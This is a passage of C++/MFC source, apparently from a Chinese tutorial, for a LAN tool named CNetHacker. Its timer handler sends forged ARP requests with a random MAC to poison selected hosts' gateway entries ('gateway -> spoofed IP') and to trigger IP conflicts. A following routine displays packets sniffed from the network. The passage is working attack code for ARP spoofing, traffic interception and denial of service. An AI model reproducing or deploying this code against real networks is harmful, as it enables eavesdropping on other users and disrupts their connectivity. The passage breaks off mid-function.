mac[5] = rand();
for (i = 0; i < currentHstIndex; i++)
{
unsigned long ip;
if (hostList[i].arpCheat == 1)
{
ip = (hostList[i].ip &0xff) << 24;
ip += (hostList[i].ip &0xff00) << 8;
ip += (hostList[i].ip &0xff0000) >> 8;
ip += (hostList[i].ip &0xff000000) >> 24;
SendArpReq(gateip, ip, mac); //网关->欺骗IP
}
if (hostList[i].ipConflict == 1)
{
ip = (hostList[i].ip &0xff) << 24;
ip += (hostList[i].ip &0xff00) << 8;
ip += (hostList[i].ip &0xff0000) >> 8;
ip += (hostList[i].ip &0xff000000) >> 24;
SendArpReq(ip, 2, mac);
}
}
memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST);
oldHstIndex = currentHstIndex;
currentHstIndex = 0;
OnRecvPkt();
sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0);
CDialog::OnTimer(nIDEvent);
}
Sniffer到需要监听节点的报文后，sniffer线程会主动给对话框发送消息，以更新显示：
void CNetHackerDlg::OnRecvPkt()
{
CString str;
for (int i = 1; i <= MAX_PACKET; i++)
{
if (!packetList[i - 1].srcIp)
break;
m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp))));
m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp))));
switch (packetList[i - 1].protocol)
{
case IPPROTO_TCP:
m_packetList.SetText(i, 2, "TCP");
str.Format("%d", packetList[i - 1].srcPort);
m_packetList.SetText(i, 3, str);
str.Format("%d", packetList[i - 1].desPort);
m_packetList.SetText(i, 4, str);
break;
case IPPROTO_UDP:
m_packetList.SetText(i, 2, "UDP");
str.Format("%d", packetList[i - 1].srcPort);
m_packetList.SetText(i, 3, str);
str.Format("%d", packetList[i - 1].desPort);
m_packetList.SetText(i, 4, str);
break;
case IPPROTO_ICMP:
m_packetList.SetText(i, 2, "ICMP");
m_packetList.SetText(i, 3, "X");
m_packetList.SetText(i, 4, "X");
break;
case IPPROTO_IGMP:
m_packetList.SetText(i, 2, "IGMP");
m_packetList.SetText(i, 3, "X");
m_packetList.SetText(i, 4, "X");
break;
case ARP:
m_packetList.SetText(i, 2, "ARP");
m_packetList.SetText(i, 3, "X");
m_packetList.SetText(i, 4, "X");
break;
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